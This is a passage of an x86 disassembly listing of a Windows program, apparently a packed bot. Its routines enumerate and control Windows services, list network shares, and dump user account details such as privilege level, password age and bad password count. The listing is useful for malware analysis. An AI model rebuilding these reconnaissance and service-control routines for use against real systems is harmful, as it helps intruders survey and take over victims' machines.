sub esi, eax
call sub_415CF0
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_1 ; "%s"
push esi
push eax
call sub_415A6A
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset dword_436640
push eax
call sub_4154E7
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43A408
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_412DE5
push 7D0h
call dword_421060
locret_412DE5: ; CODE XREF: sub_412D4C+8Cj
leave
retn
sub_412D4C endp
; =============== S U B R O U T I N E =======================================
sub_412DE7 proc near ; CODE XREF: sub_40CE55:loc_40ED61p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_412E4C
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_436658[esi]
push edi
push eax
call sub_412E6E
add esp, 14h
test eax, eax
jnz short loc_412E2F
push edi
push off_436654[esi]
mov esi, offset dword_469080
push offset dword_43678C
push esi
call sub_4154E7
add esp, 10h
jmp short loc_412E69
; ---------------------------------------------------------------------------
loc_412E2F: ; CODE XREF: sub_412DE7+2Aj
push eax
call sub_412F10
push eax
push edi
mov esi, offset dword_469080
push offset dword_436750
push esi
call sub_4154E7
add esp, 14h
jmp short loc_412E69
; ---------------------------------------------------------------------------
loc_412E4C: ; CODE XREF: sub_412DE7+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_469080
push off_436650[eax*4]
push offset dword_436718
push esi
call sub_4154E7
add esp, 0Ch
loc_412E69: ; CODE XREF: sub_412DE7+46j
; sub_412DE7+63j
mov eax, esi
pop edi
pop esi
retn
sub_412DE7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412E6E proc near ; CODE XREF: sub_412DE7+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_43A3AC
mov edi, eax
cmp edi, ebx
jnz short loc_412E95
call dword_421088
mov ebx, eax
jmp short loc_412F0A
; ---------------------------------------------------------------------------
loc_412E95: ; CODE XREF: sub_412E6E+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_43A2A0
mov esi, eax
cmp esi, ebx
jnz short loc_412EB5
call dword_421088
mov ebx, eax
jmp short loc_412F02
; ---------------------------------------------------------------------------
loc_412EB5: ; CODE XREF: sub_412E6E+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_412EE8
cmp eax, 3
jz short loc_412ED9
jle short loc_412EFB
cmp eax, 6
jg short loc_412EFB
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_43A308
jmp short loc_412EEF
; ---------------------------------------------------------------------------
loc_412ED9: ; CODE XREF: sub_412E6E+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_43A2A8
jmp short loc_412EEF
; ---------------------------------------------------------------------------
loc_412EE8: ; CODE XREF: sub_412E6E+4Dj
push esi
call dword_43A30C
loc_412EEF: ; CODE XREF: sub_412E6E+69j
; sub_412E6E+78j
test eax, eax
jnz short loc_412EFB
call dword_421088
mov ebx, eax
loc_412EFB: ; CODE XREF: sub_412E6E+54j
; sub_412E6E+59j ...
push esi
call dword_43A2BC
loc_412F02: ; CODE XREF: sub_412E6E+45j
push edi
call dword_43A2BC
pop esi
loc_412F0A: ; CODE XREF: sub_412E6E+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_412E6E endp
; =============== S U B R O U T I N E =======================================
sub_412F10 proc near ; CODE XREF: sub_412DE7+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_412FC5
jz loc_412FBE
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_412F88
jz short loc_412F7E
mov ecx, eax
sub ecx, 3
jz short loc_412F74
dec ecx
dec ecx
jz short loc_412F6A
dec ecx
jz short loc_412F60
sub ecx, 51h
jz short loc_412F56
sub ecx, 24h
jnz loc_41303B ; default
; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
loc_412F4C: ; DATA XREF: .nsp0:off_42B834o
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_41302D
; ---------------------------------------------------------------------------
loc_412F56: ; CODE XREF: sub_412F10+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_41302D
; ---------------------------------------------------------------------------
loc_412F60: ; CODE XREF: sub_412F10+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_41302D
; ---------------------------------------------------------------------------
loc_412F6A: ; CODE XREF: sub_412F10+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_41302D
; ---------------------------------------------------------------------------
loc_412F74: ; CODE XREF: sub_412F10+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_41302D
; ---------------------------------------------------------------------------
loc_412F7E: ; CODE XREF: sub_412F10+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_41302D
; ---------------------------------------------------------------------------
loc_412F88: ; CODE XREF: sub_412F10+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_412FB7
dec ecx
jz short loc_412FB0
dec ecx
jz short loc_412FA9
dec ecx
jnz loc_41303B ; default
; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_41302D
; ---------------------------------------------------------------------------
loc_412FA9: ; CODE XREF: sub_412F10+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_412FB0: ; CODE XREF: sub_412F10+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_412FB7: ; CODE XREF: sub_412F10+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_412FBE: ; CODE XREF: sub_412F10+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_412FC5: ; CODE XREF: sub_412F10+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_41303B ; default
; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
jz short loc_413028
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_41303B ; default
; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_41307C[ecx]
jmp off_413054[ecx*4] ; switch jump
loc_412FE9: ; DATA XREF: .nsp0:off_413054o
push offset aTheSpecifiedDa ; jumptable 00412FE2 case 7
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_412FF0: ; CODE XREF: sub_412F10+D2j
; DATA XREF: .nsp0:off_413054o
push offset aTheServiceDepe ; jumptable 00412FE2 case 17
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_412FF7: ; CODE XREF: sub_412F10+D2j
; DATA XREF: .nsp0:off_413054o
push offset aTheServiceDe_0 ; jumptable 00412FE2 case 10
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_412FFE: ; CODE XREF: sub_412F10+D2j
; DATA XREF: .nsp0:off_413054o
push offset aTheServiceHasB ; jumptable 00412FE2 case 0
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_413005: ; CODE XREF: sub_412F10+D2j
; DATA XREF: .nsp0:off_413054o
push offset aTheSpecified_0 ; jumptable 00412FE2 case 2
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_41300C: ; CODE XREF: sub_412F10+D2j
; DATA XREF: .nsp0:off_413054o
push offset aTheServiceCoul ; jumptable 00412FE2 case 11
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_413013: ; CODE XREF: sub_412F10+D2j
; DATA XREF: .nsp0:off_413054o
push offset aTheServiceHa_0 ; jumptable 00412FE2 case 14
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_41301A: ; CODE XREF: sub_412F10+D2j
; DATA XREF: .nsp0:off_413054o
push offset aTheRequested_1 ; jumptable 00412FE2 case 3
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_413021: ; CODE XREF: sub_412F10+D2j
; DATA XREF: .nsp0:off_413054o
push offset aTheServiceHasN ; jumptable 00412FE2 case 4
jmp short loc_41302D
; ---------------------------------------------------------------------------
loc_413028: ; CODE XREF: sub_412F10+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_41302D: ; CODE XREF: sub_412F10+41j
; sub_412F10+4Bj ...
push offset dword_4689C0
call sub_4154E7
pop ecx
pop ecx
jmp short loc_41304E
; ---------------------------------------------------------------------------
loc_41303B: ; CODE XREF: sub_412F10+36j
; sub_412F10+89j ...
push eax ; default
; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4689C0
call sub_4154E7
add esp, 0Ch
loc_41304E: ; CODE XREF: sub_412F10+129j
mov eax, offset dword_4689C0
retn
sub_412F10 endp
; ---------------------------------------------------------------------------
off_413054 dd offset loc_412FFE ; DATA XREF: sub_412F10+D2r
dd offset loc_413005 ; jump table for switch statement
dd offset loc_41301A
dd offset loc_413021
dd offset loc_412FE9
dd offset loc_412FF7
dd offset loc_41300C
dd offset loc_413013
dd offset loc_412FF0
dd offset loc_41303B
byte_41307C db 0, 9, 1, 2 ; DATA XREF: sub_412F10+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41308E proc near ; CODE XREF: sub_40CE55+1F37p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_43A3AC
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_4130C6: ; CODE XREF: sub_41308E+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_43A378
test eax, eax
jnz short loc_413100
call dword_421088
cmp eax, 0EAh
jnz loc_4131B4
loc_413100: ; CODE XREF: sub_41308E+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_4131AB
lea esi, [ebp+var_188]
loc_413111: ; CODE XREF: sub_41308E+117j
mov eax, [esi+8]
dec eax
jz short loc_41315A
dec eax
jz short loc_413153
dec eax
jz short loc_41314C
dec eax
jz short loc_413145
dec eax
jz short loc_41313E
dec eax
jz short loc_413137
dec eax
jz short loc_413130
push offset aUnknown_1 ; " Unknown"
jmp short loc_41315F
; ---------------------------------------------------------------------------
loc_413130: ; CODE XREF: sub_41308E+99j
push offset aPaused_0 ; " Paused"
jmp short loc_41315F
; ---------------------------------------------------------------------------
loc_413137: ; CODE XREF: sub_41308E+96j
push offset aPausing ; " Pausing"
jmp short loc_41315F
; ---------------------------------------------------------------------------
loc_41313E: ; CODE XREF: sub_41308E+93j
push offset aContinuing ; " Continuing"
jmp short loc_41315F
; ---------------------------------------------------------------------------
loc_413145: ; CODE XREF: sub_41308E+90j
push offset aRunning_0 ; " Running"
jmp short loc_41315F
; ---------------------------------------------------------------------------
loc_41314C: ; CODE XREF: sub_41308E+8Dj
push offset aStoping ; " Stoping"
jmp short loc_41315F
; ---------------------------------------------------------------------------
loc_413153: ; CODE XREF: sub_41308E+8Aj
push offset aStarting ; " Starting"
jmp short loc_41315F
; ---------------------------------------------------------------------------
loc_41315A: ; CODE XREF: sub_41308E+87j
push offset aStopped ; " Stopped"
loc_41315F: ; CODE XREF: sub_41308E+A0j
; sub_41308E+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_4154E7
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_413111
loc_4131AB: ; CODE XREF: sub_41308E+77j
cmp [ebp+var_8], ebx
jnz loc_4130C6
loc_4131B4: ; CODE XREF: sub_41308E+6Cj
push [ebp+var_C]
call dword_43A2BC
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_41308E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4131CB proc near ; CODE XREF: sub_40CE55:loc_40EE43p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_413264
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_4131F4
dec eax
jnz short loc_413244
push edi
push 0
call sub_41339D
pop ecx
pop ecx
jmp short loc_413240
; ---------------------------------------------------------------------------
loc_4131F4: ; CODE XREF: sub_4131CB+18j
cmp [ebp+arg_8], 0
jnz short loc_413232
push 24h
push edi
call sub_417080
pop ecx
test eax, eax
pop ecx
jnz short loc_413232
push 57h
pop eax
loc_41320B: ; CODE XREF: sub_4131CB+77j
push eax
call sub_413B75
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_468C7C
push off_436650[eax*4]
push offset dword_436D5C
push esi
call sub_4154E7
add esp, 18h
jmp short loc_413284
; ---------------------------------------------------------------------------
loc_413232: ; CODE XREF: sub_4131CB+2Dj
; sub_4131CB+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_4132F1
add esp, 0Ch
loc_413240: ; CODE XREF: sub_4131CB+27j
test eax, eax
jnz short loc_41320B
loc_413244: ; CODE XREF: sub_4131CB+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_468C7C
push off_436654[eax*4]
push offset dword_436D2C
push esi
call sub_4154E7
add esp, 10h
jmp short loc_413284
; ---------------------------------------------------------------------------
loc_413264: ; CODE XREF: sub_4131CB+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_468C7C
lea eax, [eax+eax*2]
push off_436650[eax*4]
push offset dword_436CF4
push esi
call sub_4154E7
add esp, 0Ch
loc_413284: ; CODE XREF: sub_4131CB+65j
; sub_4131CB+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_4131CB endp
; =============== S U B R O U T I N E =======================================
sub_41328A proc near ; CODE XREF: sub_4146BA+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_413297
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_413297: ; CODE XREF: sub_41328A+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_421138
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi
test byte_468E7C, 1
mov ebp, eax
jnz short loc_4132D4
or byte_468E7C, 1
lea eax, [ebp+1]
push eax
call sub_4167C5
pop ecx
mov dword_468C1C, eax
loc_4132D4: ; CODE XREF: sub_41328A+32j
push esi
push esi
push ebp
push dword_468C1C
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi
mov eax, dword_468C1C
pop edi
pop ebp
pop ebx
pop esi
retn
sub_41328A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4132F1 proc near ; CODE XREF: sub_4131CB+6Dp
; sub_4149DE+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_41335C
push [ebp+arg_4]
mov edi, eax
call sub_41335C
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_417080
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_41335C
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_43A2B8
pop edi
leave
retn
sub_4132F1 endp
; =============== S U B R O U T I N E =======================================
sub_41335C proc near ; CODE XREF: sub_4132F1+Ap
; sub_4132F1+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_413369
pop ebp
retn
; ---------------------------------------------------------------------------
loc_413369: ; CODE XREF: sub_41335C+9j
push ebx
push esi
mov esi, dword_421064
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_4167C5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_41335C endp
; =============== S U B R O U T I N E =======================================
sub_41339D proc near ; CODE XREF: sub_4131CB+20p
; sub_4146BA+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41335C
push [esp+8+arg_4]
mov esi, eax
call sub_41335C
pop ecx
pop ecx
push 0
push eax
push esi
call dword_43A290
pop esi
retn
sub_41339D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4133C0 proc near ; CODE XREF: sub_40CE55+201Ap
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_41335C
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 18h
loc_4133F9: ; CODE XREF: sub_4133C0+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_43A304
mov ebx, eax
cmp ebx, esi
jz short loc_41345C
cmp ebx, 0EAh
jz short loc_41345C
push ebx
push ebx
call sub_413B75
pop ecx
push eax
lea eax, [ebp+var_210]
push offset dword_436DBC
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 24h
jmp short loc_4134C9
; ---------------------------------------------------------------------------
loc_41345C: ; CODE XREF: sub_4133C0+5Dj
; sub_4133C0+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_4134C0
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_41346A: ; CODE XREF: sub_4133C0+FCj
push dword ptr [esi+10h]
call dword_43A2AC
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_413481
mov eax, offset aNo ; "No"
loc_413481: ; CODE XREF: sub_4133C0+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_41346A
xor esi, esi
loc_4134C0: ; CODE XREF: sub_4133C0+A2j
push [ebp+var_4]
call dword_43A448
loc_4134C9: ; CODE XREF: sub_4133C0+9Aj
cmp ebx, 0EAh
jz loc_4133F9
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4133C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4134E1 proc near ; CODE XREF: sub_40CE55:loc_40EEE5p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_413585
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_413523
dec eax
jz short loc_413518
dec eax
jnz short loc_41353E
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_413627
add esp, 14h
jmp short loc_41353A
; ---------------------------------------------------------------------------
loc_413518: ; CODE XREF: sub_4134E1+1Dj
push ebx
push edi
call sub_413606
pop ecx
pop ecx
jmp short loc_41353A
; ---------------------------------------------------------------------------
loc_413523: ; CODE XREF: sub_4134E1+1Aj
cmp [ebp+arg_8], edi
jz short loc_413537
push [ebp+arg_8]
push ebx
push edi
call sub_4135AC
add esp, 0Ch
jmp short loc_41353A
; ---------------------------------------------------------------------------
loc_413537: ; CODE XREF: sub_4134E1+45j
push 57h
pop eax
loc_41353A: ; CODE XREF: sub_4134E1+35j
; sub_4134E1+40j ...
cmp eax, edi
jnz short loc_41355E
loc_41353E: ; CODE XREF: sub_4134E1+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_468E80
push off_436654[eax*4]
push offset dword_436EAC
push esi
call sub_4154E7
add esp, 10h
jmp short loc_4135A5
; ---------------------------------------------------------------------------
loc_41355E: ; CODE XREF: sub_4134E1+5Bj
push eax
call sub_413B75
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_468E80
push off_436650[eax*4]
push offset dword_436E6C
push esi
call sub_4154E7
add esp, 18h
jmp short loc_4135A5
; ---------------------------------------------------------------------------
loc_413585: ; CODE XREF: sub_4134E1+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_468E80
lea eax, [eax+eax*2]
push off_436650[eax*4]
push offset dword_436E30
push esi
call sub_4154E7
add esp, 0Ch
loc_4135A5: ; CODE XREF: sub_4134E1+7Bj
; sub_4134E1+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4134E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4135AC proc near ; CODE XREF: sub_4134E1+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_41335C
push [ebp+arg_4]
mov edi, eax
call sub_41335C
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_41335C
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_43A29C
pop edi
leave
retn
sub_4135AC endp
; =============== S U B R O U T I N E =======================================
sub_413606 proc near ; CODE XREF: sub_4134E1+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41335C
push [esp+8+arg_4]
mov esi, eax
call sub_41335C
pop ecx
pop ecx
push eax
push esi
call dword_43A28C
pop esi
retn
sub_413606 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413627 proc near ; CODE XREF: sub_4134E1+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_41335C
push [ebp+arg_4]
mov esi, eax
call sub_41335C
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_43A410
test eax, eax
mov [ebp+arg_0], eax
jnz loc_4139B4
mov eax, [ebp+var_4]
test eax, eax
jz loc_4139EF
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_4154E7
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_413740
dec eax
jz short loc_413739
dec eax
jz short loc_413732
mov eax, offset aUnknown ; "Unknown"
jmp short loc_413745
; ---------------------------------------------------------------------------
loc_413732: ; CODE XREF: sub_413627+102j
mov eax, offset aAdministrato_0 ; "Administrator"
jmp short loc_413745
; ---------------------------------------------------------------------------
loc_413739: ; CODE XREF: sub_413627+FFj
mov eax, offset aUser_1 ; "User"
jmp short loc_413745
; ---------------------------------------------------------------------------
loc_413740: ; CODE XREF: sub_413627+FCj
mov eax, offset aGuest ; "Guest"
loc_413745: ; CODE XREF: sub_413627+109j
; sub_413627+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
add esp, 40h
